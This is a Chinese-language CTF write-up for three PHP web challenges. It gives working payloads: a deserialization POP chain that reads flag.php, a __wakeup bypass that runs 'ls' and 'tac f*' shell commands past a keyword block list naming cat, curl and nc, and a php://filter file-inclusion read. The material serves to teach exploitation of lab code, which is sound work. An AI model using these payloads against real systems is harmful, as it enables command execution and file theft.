0x00 serialize1
<?php show_source("index.php"); //error_reporting(0); class test{ public $username; public $password; function __construct($username, $password){ $this->username = $username; $this->password = $password; } function __destruct(){ $info = 'your secret is '.$this->password; echo $info; } } class exam{ public $file; function __toString(){ //flag.php echo file_get_contents($this->file); return 'nice'; } } $text = $_GET['text']; $res = unserialize($text); ?>
重点是echo file_get_contents($this->file);
为了触发__toString()
,必须找一个能把exam类当字符输出的地方,向上可以找到echo $info
,且$password
可控,脚本如下:
<?php class test{ public $username; public $password; function __construct($username, $password){ $this->username = $username; $this->password = $password; } function __destruct(){ $info = 'your secret is '.$this->password; echo $info; } } class exam{ public $file; function __toString(){ echo file_get_contents($this->file); return 'nice'; } } $b = new exam(); $b->file = '/var/www/html/flag.php'; $a = new test("shawroot",$b); echo serialize($a)."<br />"; ?>
写绝对路径的原因(还有待研究):
- 析构函数在脚本关闭时候,可能存在目录穿越
- 析构函数在脚本关闭时调用,此时所有的 HTTP 头信息已经发出。脚本关闭时的工作目录有可能和在 SAPI(如 apache)中时不同。
0x01 安慰奖
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); echo "<!-- YmFja3Vwcw== -->"; class ctf { protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd) { $this->username = $username; $this->cmd = $cmd; } function __wakeup() { $this->username = 'guest'; } function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) { exit('</br>flag能让你这么容易拿到吗?<br>'); } if ($this->username === 'admin') { // echo "<br>right!<br>"; $a = `$this->cmd`; var_dump($a); }else { echo "</br>给你个安慰奖吧,hhh!</br>"; die(); } } } $select = $_GET['code']; $res=unserialize(@$select); ?>
老生常谈的绕过__wakeup()
。要注意成员变量为protected。
首先先看一下当前目录有哪些文件:O:3:"ctf":3:{s:11:"%00%00username";s:5:"admin";s:6:"%00%00cmd";s:2:"ls";}
存在flag.php因为过滤了cat等查看文件的命令,使用tac即可。
最终payload:
O:3:"ctf":3:{s:11:"%00%00username";s:5:"admin";s:6:"%00%00cmd";s:6:"tac f*";}
0x02 upload
提示file参数,存在文件包含:
file=php://filter/read=convert.base64-encode/resource=include
<?php @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } } ?>